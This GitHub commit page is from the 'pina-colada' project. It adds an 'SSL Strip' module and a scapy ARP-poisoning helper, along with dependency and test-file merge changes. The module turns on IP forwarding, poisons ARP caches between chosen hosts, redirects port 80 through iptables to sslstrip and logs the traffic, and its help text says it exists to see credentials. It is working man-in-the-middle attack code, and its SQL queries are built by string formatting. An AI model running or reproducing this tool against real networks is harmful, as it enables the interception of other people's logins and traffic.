Skip to content

Commit

Permalink
Merge branch 'master' of https://github.com/ecthros/pina-colada
Browse files Browse the repository at this point in the history
  • Loading branch information
Kkevsterrr committed Dec 3, 2016
2 parents 453cab4 + 6360196 commit f7972c6
Show file tree
Hide file tree
Showing 4 changed files with 89 additions and 5 deletions.
47 changes: 47 additions & 0 deletions capabilities/exploitation/sslstrip.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
from util_arp import *
import os
from capability import *

class sslstrip(Capability):

def __init__(self, core):
super(sslstrip, self).__init__(core)
self.name = "SSL Strip"
self.options = {
"masq" : Option("masq", "", "ID of the computer to masquerade as", True),
"source": Option("source", "", "ID of the source computer", True),
"dest": Option("dest", "", "ID of the target", True),
"name": Option("name", "ssl_log", "File to log output of sslstrip", True),
}
self.help_text = INFO + "ARP Spoof, then strip SSL traffic, allowing us to see credentials."

def exec_command(self, comm):
self.core.cur.execute(comm)
return self.core.cur.fetchall()[0][0]

def getVars(self):
self.masq_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("masq")))
self.masq_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("masq")))
self.source_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("source")))
self.source_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("source")))
self.dest_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("dest")))
self.dest_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("dest")))

def arpGo(self):
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
return arpBegin(self.masq_ip, self.masq_mac, self.source_mac, self.dest_ip, self.dest_mac)

def restore(self):
self.getVars()
self.proc.terminate()
arpEnd(self.masq_ip, self.masq_mac, self.dest_ip, self.dest_mac)
os.system("iptables -F")
os.system("killall sslstrip")


def launch(self):
self.getVars()
os.system("sslstrip -w " + str(self.get_value("name")) + " &")
self.proc = self.arpGo()
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000")
return self.proc
36 changes: 36 additions & 0 deletions capabilities/exploitation/util_arp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
from scapy.all import *
import subprocess
import os
import multiprocessing
#masq_ip: ip we masquerade as.
#masc_mac: Masqueraded mac address
#source_mac: Our mac address
#Dest IP: target ip
#Dest Mac: target mac address
#ex: arpDos("10.0.0.1", "00:0c:29:5f:e7:50", "b8:27:eb:c2:1c:52", "10.0.0.57", "00:0c:29:08:45:1a")

def arpSend(masq_ip, masq_mac, source_mac, dest_ip, dest_mac):
packet = ARP()
packet.op = 2
packet.psrc = masq_ip
packet.pdst = dest_ip
packet.hwdst = dest_mac
packet.hwsrc = source_mac
send(packet)
while True:
send(packet)
sniff(filter="arp and host " + masq_ip, count=1)

def arpBegin(masq_ip, masq_mac, source_mac, dest_ip, dest_mac):
proc= multiprocessing.Process(target=arpSend, args=(masq_ip, masq_mac, source_mac, dest_ip, dest_mac))
proc.start()
return proc

def arpEnd(masq_ip, masq_mac, dest_ip, dest_mac):
packet = ARP()
packet.op = 2
packet.psrc = masq_ip
packet.pdst = dest_ip
packet.hwdst = dest_mac
packet.hwsrc = masq_mac
send(packet)
2 changes: 2 additions & 0 deletions pip_dependencies
Original file line number Diff line number Diff line change
Expand Up @@ -9,3 +9,5 @@ python-wifi
psycopg2
pycrypto
nose
flask_cors
sslstrip
9 changes: 4 additions & 5 deletions tests.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,8 @@
prompt = Fore.BLUE + ">> " + Fore.RESET

def base_test():
<<<<<<< HEAD
cli = pexpect.spawn("sudo python cli.py")
cli.expect(re.escape(prompt))
pass

def padding_tests():
Expand All @@ -18,9 +19,7 @@ def padding_tests():
print pad("123456789876")
print pad("a")
pass


padding_tests()
=======
cli = pexpect.spawn("sudo python cli.py")
cli.expect(re.escape(prompt))

>>>>>>> 9219848aa75d979a0ca9a6219a9a863455aa8158

0 comments on commit f7972c6

Please sign in to comment.